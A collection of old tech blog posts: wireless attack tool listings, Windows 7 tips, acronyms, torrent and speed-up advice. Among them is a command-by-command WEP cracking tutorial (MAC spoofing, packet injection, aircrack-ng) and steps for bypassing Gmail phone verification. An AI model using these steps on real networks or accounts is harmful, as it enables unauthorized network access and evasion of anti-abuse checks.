HostAP (www.hostap.epitest.fi) converts a station that is based on Intersil's Prism2/2.5/3 chipset to function as an access point.
Kismet (www.kismetwireless.net) is a wireless sniffer and monitor. It passively monitors wireless traffic and dissects frames to identify SSIDs, MAC addresses, channels and connection speeds.
Netstumbler (www.netstumbler.com) is a wireless access point identifier running on Windows. It listens for SSIDs and sends beacons as probes searching for access points.
Prismstumbler (prismstumbler.sourceforge.net/) can find wireless networks. It constantly switches channels and monitors frames received.
The Hacker’s Choice organization (www.thc.org) has LEAP Cracker Tool suite that contains tools to break Cisco LEAP. It also has tools for spoofing authentication challenge-packets from an AP. The WarDrive is a tool for mapping a city for wireless networks with a GPS device.
StumbVerter (www.sonar-security.com/sv.html) is a tool that reads NetStumbler's collected data files and presents street maps showing the logged WAPs as icons, whose color and shape indicating WEP mode and signal strength.
Wellenreiter (http://www.wellenreiter.net/) is a WLAN discovery tool. It uses brute force to identify low traffic access points while hiding the real MAC address of the card it uses. It is integrated with GPS.
WEPcrack (www.wepcrack.sourceforge.net) cracks 802.11 WEP encryption keys using weaknesses of RC4 key scheduling.

11. Conclusion

This article is an introduction to the techniques an attacker would use on wireless networks. Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access. In addition, the protocol designs were security-naïve. We have pointed out several existing tools that implement attack techniques that exploit the weaknesses in the protocol designs. The integration of wireless networks into existing networks also has been carelessly done. We pointed out several best practices that can mitigate the insecurities.

40% of Hacker Attacks Are From US and China

2012-10-04T21:49:00.003+08:00

Recently the NCC Group, a security firm reveals the origins of most hacking operations and the estimated damages they cause to the global economy each year. From their study it clearly shows that cyber crimes are done by Developed and Developing nations. The US and China are positioned 1st and 2nd, respectively. Together these two countries are responsible for nearly 40% of the world’s hack attempts, costing the global economy over $44 billion each year.

US and China are followed on the global list by Russia, Brazil, Italy, Netherlands, France, Denmark, Germany and India.
“Reading the papers each day, it’s easy to think of hacking as something that happens to us from afar; that we’re victims of foreign criminal gangs in developing countries. Yet hackers can be anywhere in the world, as our research illustrates, including on our own doorstep,” Rob Cotton, NCC Group’s chief executive said.
Day to day the cyber crime activities are increasing and this cannot be stopped at any cast.

How to Crack a Wi-Fi Network’s WEP Password with BackTrack

2012-01-20T15:24:00.001+08:00

You already know that if you want to lock down your Wi-Fi network, you should opt for WPA encryption because WEP is easy to crack. But did you know how easy? Take a look.

Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.
Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi
adapter. Here's how it goes.

What You'll Need

Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:

A compatible wireless adapter—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the Alfa AWUS036H, not the US050NH, instead. The guy in this video below is using a $12 model he bought on Ebay (and is even selling his router of choice). There are plenty of resources on getting aircrack-compatible adapters out there.
A BackTrack 3 Live CD. We already took you on a full screenshot tour of how to install and use BackTrack 3, the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. (I tried the BackTrack 4 pre-release, and it didn't work as well as BT3. Do yourself a favor and stick with BackTrack 3 for now.)
A nearby WEP-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.

Crack That WEP

To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
First run the following to get a list of your network interfaces:

airmon-ng

The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).
Now, run the following four commands. See the output that I got for them in the screenshot below.

airmon-ng stop (interface) ifconfig (interface) down macchanger --mac 00:11:22:33:44:55 (interface) airmon-ng start (interface)

If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.
Now it's time to pick your network. Run:

airodump-ng (interface)

To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.
Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.
Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)

Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.

You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)

Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face.

You're almost there. Now it's time for:

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)

Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)
Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.

Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:

aircrack-ng -b (bssid) (file name-01.cap)

Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.
If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this:

Windows 7 all tricks and secrets exposed ( Top 30 )

2012-01-08T14:25:00.001+08:00

*Windows Management. By now, you’ve probably seen that Windows 7 does a lot to make window management easier: you can “dock” a window to the left or right half of the screen by simply dragging it to the edge; similarly, you can drag the window to the top of the screen to maximize it, and double-click the window top / bottom border to maximize it vertically with the same horizontal width. What you might not know is that all these actions are also available with keyboard shortcuts:
- Win+Left Arrow and Win+Right Arrow dock;
- Win+Up Arrow and Win+Down Arrow maximizes and restores / minimizes;
- Win+Shift+Up Arrow and Win+Shift+Down Arrow maximizes and restores the vertical size.
This side-by-side docking feature is particularly invaluable on widescreen monitors – it makes the old Windows way of shift-clicking on two items in the taskbar and then using the context menu to arrange them feel really painful.
Display Projection. Had enough of messing around with weird and wonderful OEM display driver utilities to get your notebook display onto an external projector? In that case, you’ll be pleased to know that projection is really quick and simple with Windows 7. Just hit Win+P, and you’ll be rewarded by the following pop-up window:

Use the arrow keys (or keep hitting Win+P) to switch to “clone”, “extend” or “external only” display settings. You can also access the application as displayswitch.exe.

If you want broader control over presentation settings, you can also press Win+X to open the Windows Mobility Center, which allows you to turn on a presentation “mode” that switches IM clients to do not disturb, disables screensavers, sets a neutral wallpaper etc. (Note that this feature is also available in Windows Vista.)
Cut Out The Clutter. Working on a document in a window and want to get rid of all the extraneous background noise? Simply hit Win+Home to minimize all the non-active background windows, keeping the window you’re using in its current position. When you’re ready, simply press Win+Home again to restore the background windows to their original locations.
Multi-Monitor Windows Management. The earlier tip on window management showed how you can dock windows within a monitor. One refinement of those shortcuts is that you can use Win+Shift+Left Arrow and Win+Shift+Right Arrow to move windows from one monitor to another – keeping them in the same relative location to the monitor’s top-left origin.
Command Junkies Only. One of the most popular power toys in Windows XP was “Open Command Prompt Here”, which enabled you to use the graphical shell to browse around the file system and then use the context menu to open a command prompt at the current working directory. In Windows 7 (and in Windows Vista, incidentally – although not many folk knew about it), you can simply hold the Shift key down while selecting the context menu to get exactly the same effect. If the current working directory is a network location, it will automatically map a drive letter for you.
It’s a Global Village. If you’ve tried to change your desktop wallpaper, you’ve probably noticed that there’s a set of wallpapers there that match the locale you selected when you installed Windows. (If you picked US, you’ll see beautiful views of Crater Lake in Oregon, the Arches National Park, a beach in Hawai’i, etc.) In fact, there are several sets of themed wallpapers installed based on the language you choose, but the others are in a hidden directory. If you’re feeling in an international mood, simply browse toC:\Windows\Globalization\MCT and you’ll see a series of pictures under the Wallpaper directory for each country. Just double-click on the theme file in the Theme directory to display a rotation through all the pictures for that country. (Note that some countries contain a generic set of placeholder art for now.)
The Black Box Recorder. Every developer wishes there was a way that an end-users could quickly and simply record a repro for the problem that they’re running into that is unique to their machine. Windows 7 comes to the rescue! Part of the in-built diagnostic tools that we use internally to send feedback on the product, the Problem Steps Recorder provides a simple screen capture tool that enables you to record a series of actions. Once you hit “record”, it tracks your mouse and keyboard and captures screenshots with any comments you choose to associate alongside them. Once you stop recording, it saves the whole thing to a ZIP file, containing an HTML-based “slide show” of the steps. It’s a really neat little tool and I can’t wait for it to become ubiquitous on every desktop! The program is called psr.exe; you can also search for it from Control Panel under “Record steps to reproduce a problem”.
The Font of All Knowledge. Long Zheng will be happy: we’ve got rid of the Add Fonts dialog that has served Windows faithfully for the last twenty years. (Of course, for most of that time, it’s been deprecated – the easy way to install a set of fonts has simply been to drag them into the Fonts folder via Control Panel.) But now font installation is really easy – we’ve added an “Install” button to the font viewer applet that takes care of the installation process:

There are lots of other new features built into Windows 7 that will satisfy those of a typographic bent, incidentally – grouping multiple weights together, the ability to hide fonts based on regional settings, a new text rendering engine built into the DirectWrite API, and support in the Font common file dialog for more than the four “standard” weights. For example:
Gabriola. As well as the other typographic features mentioned above, Windows 7 includes Gabriola, an elaborate display type from the Tiro Typeworks foundry that takes advantage of OpenType Layout to provide a variety of stylistic sets, flourishes and ornamentation ligatures:
Who Stole My Browser? If you feel like Internet Explorer is taking a long time to load your page, it’s worth taking a look at the add-ons you have installed. One of the more helpful little additions in Internet Explorer 9 is instrumentation for add-on initialization, allowing you to quickly see whether you’re sitting around waiting for plug-ins to load. Just click Tools / Manage Add-ons, and then scroll right in the list view to see the load time. On my machine, I noticed that the Research add-on that Office 2007 installs was a particular culprit, and since I never use it, it was simple to disable it from the same dialog box.
Rearranging the Furniture. Unless you’ve seen it demonstrated, you may not know that the icons in the new taskbar aren’t fixed in-place. You can reorder them to suit your needs, whether they’re pinned shortcuts or running applications. What’s particularly nice is that once they’re reordered, you can start a new instance of any of the first five icons by pressing Win+1, Win+2, Win+3 etc. I love that I can quickly fire up a Notepad2instance on my machine with a simple Win+5 keystroke, for instance.

What’s less well-known is that you can similarly drag the system tray icons around to rearrange their order, or move them in and out of the hidden icon list. It’s an easy way to customize your system to show the things you want, where you want them.
Installing from a USB Memory Stick. It’s also worth noting in passing that Windows 7 is far better suited to a netbook than any previous operating system: it has a much lighter hard drive and memory footprint than Windows Vista, while also being able to optimize for solid state drives (for example, it switches off disk defragmentation since random read access is as fast as sequential read access, and it handles file deletions differently to minimize wear on the solid state drive).
I Want My Quick Launch Toolbar Back! You might have noticed that the old faithful Quick Launch toolbar is not only disabled by default in Windows 7, it’s actually missing from the list of toolbars. As is probably obvious, the concept of having a set of pinned shortcut icons is now integrated directly into the new taskbar. Based on early user interface testing, we think that the vast majority of users out there (i.e. not the kind of folk who read this blog, with the exception of my mother) will be quite happy with the new model, but if you’re after the retro behavior, you’ll be pleased to know that the old shortcuts are all still there. To re-enable it, do the following:
- Right-click the taskbar, choose Toolbars / New Toolbar
- In the folder selection dialog, enter the following string and hit OK:
  %userprofile%\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
- Turn off the “lock the taskbar” setting, and right-click on the divider. Make sure that “Show text” and “Show title” are disabled and the view is set to “small icons”.
- Use the dividers to rearrange the toolbar ordering to choice, and then lock the taskbar again.
If it’s not obvious by the semi-tortuous steps above, it’s worth noting that this isn’t something we’re exactly desperate for folks to re-enable, but it’s there if you really need it for some reason. Incidentally, we’d love you to really try the new model first and give us feedback on why you felt the new taskbar didn’t suit your needs.
It’s a Drag. Much play has been made of the Jump Lists feature in Windows 7, allowing applications like Windows Live Messenger to offer an easy task-based entry point. Jump lists replace the default right-click context menu in the new taskbar; another way to access them (particularly useful if you’re running Windows 7 on a one-button MacBook) is by left-clicking and dragging up in a kind of “swooshing” motion. This was designed for touch-enabled devices like the beautiful HP TouchSmart all-in-one PC, where the same gesture applies.

Another place where you can “swoosh” (not an official Microsoft term) is the IE 8 address bar, where the downward drag gesture brings up an expanded list containing the browser history, favorites and similar entries. The slower you drag, the cooler the animation!
Standards Support. Every review of Windows 7 that I’ve seen has noted the revamped WordPad and Paint applets that add an Office-like ribbon to expose their functionality. Few, however, have noticed one small but hopefully appreciated feature: WordPad can now read and write both the Word 2007-compatible Office Open XML file format but also the OpenDocument specification that IBM and Sun have been advocating:
Windows Vista-Style Taskbar. I wasn’t initially a fan of the Windows 7 taskbar when it was first introduced in early Windows 7 builds, but as the design was refined in the run up to the beta, I was converted and now actively prefer the new look, particularly when I’ve got lots of windows open simultaneously. For those who really would prefer a look more reminiscent of Windows Vista, the good news is that it’s easy to customize the look of the taskbar to more closely mirror the old version:

To achieve this look, right-click on the taskbar and choose the properties dialog. Select the “small icons” checkbox and under the “taskbar buttons” setting, choose “combine when taskbar is full”. It’s not pixel-perfect in accuracy, but it’s close from a functionality point of view.
Peeking at the Desktop. While we’re on the taskbar, it’s worth noting a few subtleties. You’ve probably seen the small rectangle in the bottom right hand corner: this is the feature we call “Aero Peek”, which enables you to see any gadgets or icons you’ve got on your desktop. I wanted to note that there’s a keyboard shortcut that does the same thing – just press Win+Space.
Running with Elevated Rights. Want to quickly launch a taskbar-docked application as an administrator? It’s easy – hold down Ctrl+Shift while you click on the icon, and you’ll immediately launch it with full administrative rights (assuming your account has the necessary permissions, of course!)
One More of the Same, Please. I’ve seen a few folk caught out by this one. If you’ve already got an application open on your desktop (for example, a command prompt window), and you want to open a second instance of the same application, you don’t have to go back to the start menu. You can simply hold down the Shift key while clicking on the taskbar icon, and it will open a new instance of the application rather than switching to the existing application. For a keyboard-free shortcut, you can middle-clickwith the third mouse button to do the same thing. (This trick assumes that your application supports multiple running instances, naturally.)
Specialized Windows Switching. Another feature that power users will love is the ability to do a kind of “Alt+Tab” switching across windows that belong to just one application. For example, if you’ve got five Outlook message windows open along with ten other windows, you can quickly tab through just the Outlook windows by holding down the Ctrl key while you repeatedly click on the single Outlook icon. This will toggle through each of the five Outlook windows in order, and is way faster than opening Alt+Tab and trying to figure out which of the tiny thumbnail images relates to the specific message you’re trying to find.
Walking Through the Taskbar. Another “secret” Windows shortcut: press Win+T to move the focus to the taskbar. Once you’re there, you can use the arrow keys to select a particular window or group and then hit Enter to launch or activate it. As ever, you can cancel out of this mode by hitting the Esc key. I don’t know for sure, but I presume this shortcut was introduced for those with accessibility needs. However, it’s equally valuable to power users – another good reason for all developers to care about ensuring their code is accessible.
The Widescreen Tip. Almost every display sold these days is widescreen, whether you’re buying a notebook computer or a monitor. While it might be great for watching DVDs, when you’re trying to get work done it can sometimes feel like you’re a little squeezed for vertical space.

As a result, the first thing I do when I set up any new computer is to dock the taskbar to the left hand side of the screen. I can understand why we don’t set this by default – can you imagine the complaints from enterprise IT departments who have to retrain all their staff – but there’s no reason why you as a power user should have to suffer from default settings introduced when the average screen resolution was 800x600.

In the past, Windows did an indifferent job of supporting “side dockers” like myself. Sure, you could move the taskbar, but it felt like an afterthought – the gradients would be wrong, the Start menu had a few idiosyncrasies, and you’d feel like something of a second-class citizen. The Windows 7 taskbar feels almost as if it was designed with vertical mode as the default – the icons work well on the side of the screen, shortcuts like the Win+T trick mentioned previously automatically switch from left/right arrows to up/down arrows, and so on. The net effect is that you wind up with a much better proportioned working space.

Try it – in particular, if you’ve got a netbook computer that has a 1024x600 display, you’ll immediately appreciate the extra space for browsing the Internet. For the first day you’ll feel a little out of sync, but then I guarantee you’ll become an enthusiastic convert!
Pin Your Favorite Folders. If you’re always working in the same four or five folders, you can quickly pin them with the Explorer icon on the taskbar. Hold the right-click button down and drag the folder to the taskbar, and it will be automatically pinned in the Explorer Jump List.
Starting Explorer from “My Computer”. If you spend more time manipulating files outside of the documents folders than inside, you might want to change the default starting directory for Windows Explorer so that it opens at the Computer node:

To do this, navigate to Windows Explorer in the Start Menu (it’s in the Accessories folder). Then edit the properties and change the target to read:
%SystemRoot%\explorer.exe /root,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
If you want the change to affect the icon on the taskbar, you’ll need to unpin and repin it to the taskbar so that the new shortcut takes affect. It’s worth noting that Win+E will continue to display the documents library as the default view: I’ve not found a way to change this from the shell at this time.
ClearType Text Tuning and Display Color Calibration. If you want to tune up your display for image or text display, we have the tools included out of the box. It’s amazing what a difference this makes: by slightly darkening the color of the text and adjusting the gamma back a little, my laptop display looks much crisper than it did before. You’d adjust the brightness and contrast settings on that fancy 42” HDTV you’ve just bought: why wouldn’t you do the same for the computer displays that you stare at every day?

Check out cttune.exe and dccw.exe respectively, or run the applets from Control Panel.
ISO Burning. Easy to miss if you’re not looking for it: you can double-click on any DVD or CD .ISO image and you’ll see a helpful little applet that will enable you to burn the image to a blank disc. No more grappling for shareware utilities of questionable parentage!
Windows Movie Maker. Windows 7 doesn’t include a movie editing tool – it’s been moved to the Windows Live Essentials package, along with Photo Gallery, Mail and Messenger. Unfortunately, Windows Live Movie Maker is currently still in an early beta that is missing most of the old feature set (we’re reworking the application), and so you might be feeling a little bereft of options. It goes without saying that we intend to have a better solution by the time we ship Windows 7, but in the meantime the best solution for us early adopters is to use Windows Movie Maker 2.6 (which is essentially the same as the most recent update to the Windows XP version). It’s missing the full set of effects and transitions from the Windows Vista version, and doesn’t support HD editing, but it’s pretty functional for the typical usage scenario of home movie editing.

Download Windows Movie Maker 2.6 from here:
http://microsoft.com/downloads/details.aspx?FamilyID=d6ba5972-328e-4df7-8f9d-068fc0f80cfc
Hiding the Windows Live Messenger Icon. Hopefully your first act after Windows 7 setup completed was to download and install the Windows Live Essentials suite of applications (if not, then you’re missing out on a significant part of the Windows experience). If you’re a heavy user of IM, you may love the way that Windows Live Messenger is front and central on the taskbar, where you can easily change status and quickly send an IM to someone:

On the other hand, you may prefer to keep Windows Live Messenger in the system tray where it’s been for previous releases. If so, you can fool the application into the old style of behavior. To do this, close Windows Live Messenger, edit the shortcut properties and set the application to run in Windows Vista compatibility mode. Bingo!
Enjoy The Fish. I’m surprised that not many people seem to have caught the subtle joke with the Siamese fighting fish that is part of the default background, so I’ll do my part at keeping the secret hidden. Check out wikipedia for a clue.
When All Else Fails… There are always those times when you’re in a really bad spot – you can’t boot up properly, and what you really want is something you can quickly use to get at a command prompt so you can properly troubleshoot. Windows 7 now includes the ability to create a system repair disc, which is essentially a CD-bootable version of Windows that just includes the command prompt and a suite of system tools. Just type “system repair disc” in the Start Menu search box, and you’ll be led to the utility

Computer Acronyms

2012-01-07T12:05:00.000+08:00

ADSL - Asymmetric Digital Subscriber Line
AGP - Accelerated Graphics Port
ALI - Acer Labs, Incorporated
ALU - Arithmetic Logic Unit
AMD - Advanced Micro Devices
APC - American Power Conversion
ASCII - American Standard Code for Information Interchange
ASIC - Application Specific Integrated Circuit
ASPI - Advanced SCSI Programming Interface
AT - Advanced Technology
ATI - ATI Technologies Inc.
ATX - Advanced Technology Extended

--- B ---
BFG - BFG Technologies
BIOS - Basic Input Output System
BNC - Barrel Nut Connector

--- C ---
CAS - Column Address Signal
CD - Compact Disk
CDR - Compact Disk Recorder
CDRW - Compact Disk Re-Writer
CD-ROM - Compact Disk - Read Only Memory
CFM - Cubic Feet per Minute (ft�/min)
CMOS - Complementary Metal Oxide Semiconductor
CPU - Central Processing Unit
CTX - CTX Technology Corporation (Commited to Excellence)

--- D ---

DDR - Double Data Rate
DDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access Memory
DFI - DFI Inc. (Design for Innovation)
DIMM - Dual Inline Memory Module
DRAM - Dynamic Random Access Memory
DPI - Dots Per Inch
DSL - See ASDL
DVD - Digital Versatile Disc
DVD-RAM - Digital Versatile Disk - Random Access Memory

--- E ---
ECC - Error Correction Code
ECS - Elitegroup Computer Systems
EDO - Extended Data Out
EEPROM - Electrically Erasable Programmable Read-Only Memory
EPROM - Erasable Programmable Read-Only Memory
EVGA - EVGA Corporation

--- F ---
FC-PGA - Flip Chip Pin Grid Array
FDC - Floppy Disk Controller
FDD - Floppy Disk Drive
FPS - Frame Per Second
FPU - Floating Point Unit
FSAA - Full Screen Anti-Aliasing
FS - For Sale
FSB - Front Side Bus

--- G ---
GB - Gigabytes
GBps - Gigabytes per second or Gigabits per second
GDI - Graphical Device Interface
GHz - GigaHertz

--- H ---
HDD - Hard Disk Drive
HIS - Hightech Information System Limited
HP - Hewlett-Packard Development Company
HSF - Heatsink-Fan

--- I ---
IBM - International Business Machines Corporation
IC - Integrated Circuit
IDE - Integrated Drive Electronics
IFS- Item for Sale
IRQ - Interrupt Request
ISA - Industry Standard Architecture
ISO - International Standards Organization

--- J ---
JBL - JBL (Jame B. Lansing) Speakers
JVC - JVC Company of America

- K ---
Kbps - Kilobits Per Second
KBps - KiloBytes per second

--- L ---
LG - LG Electronics
LAN - Local Are Network
LCD - Liquid Crystal Display
LDT - Lightning Data Transport
LED - Light Emitting Diode

--- M ---
MAC - Media Access Control
MB � MotherBoard or Megabyte
MBps - Megabytes Per Second
Mbps - Megabits Per Second or Megabits Per Second
MHz - MegaHertz
MIPS - Million Instructions Per Second
MMX - Multi-Media Extensions
MSI - Micro Star International

--- N ---
NAS - Network Attached Storage
NAT - Network Address Translation
NEC - NEC Corporation
NIC - Network Interface Card

--- O ---
OC - Overclock (Over Clock)
OCZ - OCZ Technology
OEM - Original Equipment Manufacturer

--- P ---
PC - Personal Computer
PCB - Printed Circuit Board
PCI - Peripheral Component Interconnect
PDA - Personal Digital Assistant
PCMCIA - Peripheral Component Microchannel Interconnect Architecture
PGA - Professional Graphics Array
PLD - Programmable Logic Device
PM - Private Message / Private Messaging
PnP - Plug 'n Play
PNY - PNY Technology
POST - Power On Self Test
PPPoA - Point-to-Point Protocol over ATM
PPPoE - Point-to-Point Protocol over Ethernet
PQI - PQI Corporation
PSU - Power Supply Unit

--- R ---
RAID - Redundant Array of Inexpensive Disks
RAM - Random Access Memory
RAMDAC - Random Access Memory Digital Analog Convertor
RDRAM - Rambus Dynamic Random Access Memory
ROM - Read Only Memory
RPM - Revolutions Per Minute

--- S ---
SASID - Self-scanned Amorphous Silicon Integrated Display
SCA - SCSI Configured Automatically
SCSI - Small Computer System Interface
SDRAM - Synchronous Dynamic Random Access Memory
SECC - Single Edge Contact Connector
SODIMM - Small Outline Dual Inline Memory Module
SPARC - Scalable Processor ArChitecture
SOHO - Small Office Home Office
SRAM - Static Random Access Memory
SSE - Streaming SIMD Extensions
SVGA - Super Video Graphics Array
S/PDIF - Sony/Philips Digital Interface

--- T ---
TB - Terabytes
TBps - Terabytes per second
Tbps - Terabits per second
TDK - TDK Electronics
TEC - Thermoelectric Cooler
TPC - TipidPC
TWAIN - Technology Without An Important Name

--- U ---
UART - Universal Asynchronous Receiver/Transmitter
USB - Universal Serial Bus
UTP - Unshieled Twisted Pair

--- V ---
VCD - Video CD
VPN - Virtual Private Network

--- W ---
WAN - Wide Area Network
WTB - Want to Buy
WYSIWYG - What You See Is What You Get

--- X ---
XGA - Extended Graphics Array
XFX - XFX Graphics, a Division of Pine
XMS - Extended Memory Specification
XT - Extended Technology

7 ways to increase Torrent Speed

2012-01-01T10:09:00.000+08:00

The use of Bit Torrent is an efficient way to transfer files of just about any size quickly and efficiently. How this works is by breaking the huge files into smaller pieces and is from one or many of the different sources. This is one of the best ways to transfer bulky files quickly even when you are using a low bandwidth connection. There are many more things that you can do with Bit Torrent, but here we are going to discuss how to make this work much faster.

Here are some essential tips for the same,

Start with your ISP:

All ISP has a preset maximum upload and download speed, and you cannot make your torrent work beyond this speed. All you can do is to use the best use of this upload and download speed even when the signal is weak. You can check the maximum speed that you can achieve by conducting a broadband speed test and compare with the DSLReports that comes with your uTorrent.

Opt-In for healthy seeds and peers:

A peer is any computer participating in downloading and uploading of torrent files along with that of yours. A seeder is one who has a complete copy of the file that is being shared across a torrent network. A leecher is the person who has joined the network recently and do not have most of the file that you or the peer has. This leecher becomes the seeder when they download the entire file and is able to share it across the network. For getting high torrent speed, you need to increase the number of seeders to increase the chance of healthier and reception of higher speeds.

Get through the firewall:

Many times, you will find the administrator or the firewall in your web browser is set to block and receive torrent files. The first thing that you need to do is to get appropriate permissions for downloading torrent files, and add this to your firewall, which will enhance the speed at which you can download torrent files. If the internet is through a router, then you have to set the torrent file to cross the barrier of the security of the router also.

Go to a different port:

The default port for BitTorrent protocol is always between the numbers 6881-6999. This is because BitTorrent sharing will involve high bandwidth usage. However, this is possible that you can configure a different port for your torrent client and this has been best advised to set this number to somewhere around 10000.

Limit your upload rate:

A peer to peer network is sharing alike on the same or similar platform and therefore you should be able to set your client’s upload speed rate to a maximum amount, which will usually be about 80 percent of your maximum upload speed that is being offered by your ISP. Keep this speed, as high as possible, but you have to play your cards well as the upload speed affects your download speed as well.

Use your common sense:

If you understand the concept of how Bit Torrent works, then your common sense will automatically tell you that this is possible to view the individual files being downloaded and disable the ones that you are not in need off, which will help you to speed up the process of downloading the files using Bit Torrent.

Bandwidth and connections:

This is possible to set the maximum number of connections, maximum number of peers connected per torrent and number of slots per torrent so that you can decide on which numbers gives the maximum efficiency from your Bit Torrent files.
Now is that you have some tips on how to increase the speed of downloading while using Bit Torrent, why not try these tips out next time! Comments are appreciated!!

Make Folders with Invisible Names

2012-01-01T09:52:00.000+08:00

You may have given or find varieties of folder name in your or in your friend’s computer. But have you ever tried to give your folder a blank name or in other words an invisible name? Computer by default do allow you to take space as your folder name. Here are the few steps which will help you to create your without name folder.

Step1: Click the right button of your mouse on the folder whose name you wish to keep invisible.

Step2: Now click on Rename.

Step3: Now pressing the “alt” key, type “0160”.

However, type this number only with the help of keypad which is on the right hand side of your keyboard.

Step 4: Now simply click anywhere outside folder.

Bypass gmail Mobile verification

2011-11-20T14:09:00.001+08:00

Follow these steps :

1. First of all go to www.k7.net/ and sign up there. This is a site where you can receive fax or voice calls without having a phone no. When you create an account on this site, it will provide you an unique phone no. of US.

2. Now go for creating account on gmail, enter all the information as you want, but in Location fill 'United States'.

3. Now click on 'I accept, create an account'.

4. Now it will take you to mobile verification page. Here select the option of Voice call and fill the no. that you got from http://www.k7.net/

5. Now you will get a mail having verification code as voice mail on that account from which you have registered on . Open it, download the attachment file and listen the code http://www.k7.net/

6. Now enter the code of your voice mail in verification code. and click OK.
7. your account is ready now :)

How to Block The Useless Website

2011-07-08T20:38:00.000+08:00

There are many reason why you need to know how to block a website. Some of the most common reasons are you have been targeted by spammers who use adware and popups to attack your PC. Other reasons may be to prevent your children from having access to certain site content such as porn and gambling.

Depending on the level of security you wish, learning how to block a website may require a adjustments of your web browser, the use of internet filtering software or editing of your host file. At any rate you can try all methods to see which works best for you.

How to block a Website using Internet Explorer

Internet Explorer version 5 and later offer the ability for heighten security and privacy. You can block a site by following the directions below:

1. Load your Internet explorer

2. Click Tools

3. Click Internet Options

4. Click the Privacy tab

5. Under the Privacy window, Click Sites

6. Type in the site address that you want to Block and Click OK. Remember this technique only blocks on one site at a time. Parental control software will allow you to block multiple sites and categories.
Here are alternate instructions to block a website using Internet Explorer.

Tools ->Internet Options->Security->Restricted sites->Sites->Type in the site address and Click ADD then click OK

How to Block A Website in All Web Browsers

This action will require you to edit your Host file. Your host file is a computer file used to store information on where to find a node on a computer network.

In Windows XP

1. Click Start->All Programs->Accessories->Command Prompt.

2. Click Command Prompt This will open a DOS command window.

3. Type: notepad C:/Windows/System32/drivers/etc/hosts

4. Locate the line 127.0.0.1 localhost

5. To block the website google.com for example, just add this text under 127.0.0.1 localhost:
127.0.0.1 google.com
127.0.0.1 www.google.com
You can add as many sites any site, However you will need to prefix it with "127.0.0.1".

6. Save the file

Google will now be blocked in all web browser. This is an advanced but easy method on how to blow a website.

Want more PC speed? 8 Ways to Speed up PC Performance!!

2011-07-08T20:35:00.001+08:00

Slowing down computer day by day!! This is the most common problem all computer users facing. Even though no one can give the straight answer for solving this and run the computer smoother like days it bought.

Normally first few days after installing the operating system computer run fast and smoother. After 2, 3 weeks it’s slowing down again.

There are many expensive tools available that have guaranteed for speed up your pc, but as my experience some software are failed and some are successful. Tune-up utilities such a software that has good rate and one of my favorite tool for solving system errors. But you have to pay for it.

I thought to give you some info for speed up your pc without spending money. In this article I'll conduct you along the all available tools in your windows platform and freeware available in internet and use them for speed up computer. So you don't have to pay anyone or any software.

Using available windows tools in your system:

1) . In your system there are two useful tools "Disk Cleanup" and "Disk Defragmenter" that can use speedup process, Go to start > all programs > Accessories > system tools open Disk cleanup, this software can be use for deleting many unnecessary files and also system restore point.

2) . Disk Defragmenter is can be use for defragment, fragmented computer files that are in your hard drive. Fragmented files cause to slow down and reduce computer performance. You should at least defragment your hard drive partition that has installed operating system as a habit.

